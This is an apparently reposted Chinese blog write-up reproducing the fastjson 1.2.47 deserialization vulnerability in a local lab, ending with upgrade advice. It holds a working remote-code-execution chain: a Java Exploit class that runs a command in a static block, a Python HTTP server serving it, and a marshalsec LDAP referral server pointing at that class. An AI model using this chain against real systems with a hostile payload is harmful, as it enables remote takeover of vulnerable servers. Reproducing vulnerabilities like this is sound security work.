fastjson =< 1.2.47 反序列化漏洞复现

最新推荐文章于 2025-05-29 19:35:09 发布

weixin_30430169

最新推荐文章于 2025-05-29 19:35:09 发布

阅读量806

点赞数

CC 4.0 BY-SA版权

文章标签：运维测试 ldap

原文链接：http://www.cnblogs.com/zhengjim/p/11433926.html

博客详细介绍了FastJSON 1.2.47版本中无需开启autoType即可利用的反序列化漏洞，通过在win10环境下使用特定配置的Java和fastjson库，配合marshalsec工具，成功复现了该漏洞，并提供了修复建议。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

fastjson =< 1.2.47 反序列化漏洞复现

HW期间爆出来一个在hw期间使用的fastjson 漏洞，该漏洞无需开启autoType即可利用成功，建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见，建议升级到最新版)

复现详情

环境

win10
fastjson 1.2.47
jdk 1.8.1
marshalsec

环境过程

首先先创建maven项目,下载fastjson版本为1.2.47

<dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>
</dependencies>

创建一个Exploit.java文件，Java 编译一下生成 Exploit.class 文件

exploit.java内容

public class Exploit {

        static {
                System.err.println("Pwned");
                try {
                        String[] cmd = {"calc"};
                        java.lang.Runtime.getRuntime().exec(cmd).waitFor();
                } catch ( Exception e ) {
                        e.printStackTrace();
                }
        }
}

然后启动http服务，这边利用python的SimpleHTTPServer来启动。

python2 -m SimpleHTTPServer

再利用marshalsec转发，创建一个ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"

最后编写了一个测试用例

运行即可触发漏洞。

修复意见

尽快将fastjson升级至1.2.48及以上的版本。

转载于:https://www.cnblogs.com/zhengjim/p/11433926.html